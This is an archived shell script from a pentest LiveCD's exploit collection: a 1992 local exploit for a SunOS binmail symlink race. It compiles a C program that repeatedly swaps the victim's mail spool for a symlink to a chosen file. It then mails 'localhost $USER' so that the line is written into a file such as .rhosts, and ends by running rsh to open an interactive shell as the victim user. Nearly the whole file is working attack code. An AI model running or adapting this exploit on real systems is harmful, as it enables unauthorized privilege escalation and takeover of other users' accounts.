home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / bin.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  121 lines

  1. #!/bin/sh
  2. #
  3. # Syntax: mailscript user target-file rsh-user
  4. #
  5. # This exploits a flaw in SunOS binmail(1), and attempts
  6. # to become the specified 'user', by creating a .rhosts
  7. # file and using rsh.
  8. #
  9. # Written 1992 by [8LGM]
  10. # Please do not use this script without permission.
  11. #
  12. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  13. IFS=" "                          export IFS
  14.  
  15. PROG="`basename $0`"
  16. SPOOLDIR="/var/spool/mail"
  17.  
  18. # Check args
  19. if [ $# -ne 3 ]; then
  20.         echo "Syntax: $PROG user target-file rsh-user"
  21.         exit 1
  22. fi
  23. TARGET="$1"
  24. TARGET_FILE="$2"
  25. RSH_USER="$3"
  26.  
  27. # Check we're on SunOS
  28. if [ "x`uname -s`" != "xSunOS" ]; then
  29.         echo "Sorry, this only works on SunOS"
  30.         exit 1
  31. fi
  32.  
  33. # Check user exists
  34. grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
  35. if [ $? -ne 0 ]; then
  36.         echo "$PROG: Warning, $TARGET not in local passwd file"
  37.   [2000]# We continue though, might be in the YP passwd file
  38. fi
  39.  
  40. # Check target file
  41. if [ -f $TARGET_FILE ]; then
  42.         OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
  43.         echo "$PROG: Warning, $TARGET_FILE already exists, appending"
  44. else
  45.         OLD_TARGET_LEN=0
  46. fi
  47.  
  48. # Delete spool file if its a link, and we are able
  49. if [ -h "$SPOOLDIR/$TARGET" ]; then
  50.         rm -f "$SPOOLDIR/$TARGET"
  51.   [2000]# Dont worry about errors, we catch it below
  52. fi
  53.  
  54. # Check mail file
  55. if [ -f "$SPOOLDIR/$TARGET" ]; then
  56.         echo "$PROG: ${TARGET}'s mail file exists."
  57.         exit 1
  58. fi
  59.  
  60. # Make the race program
  61. cat >mailrace.c << 'EOF'
  62. #include <stdio.h>
  63.  
  64. main(argc,argv)
  65. int argc;
  66. char *argv[];
  67. {
  68.         if (argc != 3) {
  69.                 fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
  70.                 exit(1);
  71.         }
  72.  
  73.         for (;;) {
  74.                 unlink(argv[1]);
  75.                 symlink(argv[2], argv[1]);
  76.         }
  77. }
  78. EOF
  79. cc -o mailrace mailrace.c
  80.  
  81. # Check we now have mailrace
  82. if [ ! -x "mailrace" ]; then
  83.         echo "$PROG: couldnt compile mailrace.c - check it out"
  84.         exit 1
  85. fi
  86.  
  87. # Start mailrace
  88. ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
  89. RACE_PID=$!
  90.  
  91. # Send mail to the user
  92. NEW_TARGET_LEN=$OLD_TARGET_LEN
  93. while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
  94.         echo "Sending mail to $TARGET"
  95.         echo "localhost $USER" | /bin/mail $TARGET
  96.         sleep 10
  97.         kill -STOP $RACE_PID
  98.         rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
  99.         if [ -f $SPOOLDIR/$TARGET ]; then
  100.                 echo "$PROG: Sorry, we lost the race - cant try again."
  101.                 kill -9 $RACE_PID
  102.                 exit 1
  103.         fi
  104.         kill -CONT $RACE_PID
  105.         if [ -f "$TARGET_FILE" ]; then
  106.                 NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
  107.         else
  108.                 NEW_TARGET_LEN=0
  109.         fi
  110.         if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
  111.                 echo "We drew the race that time, trying again"
  112.         fi
  113. done
  114.  
  115. # We won the race
  116. kill -9 $RACE_PID
  117. echo "We won the race, becoming $RSH_USER"
  118. rsh localhost -l $RSH_USER sh -i
  119. exit 0
  120.  
  121. #                 www.hack.co.za           [2000]#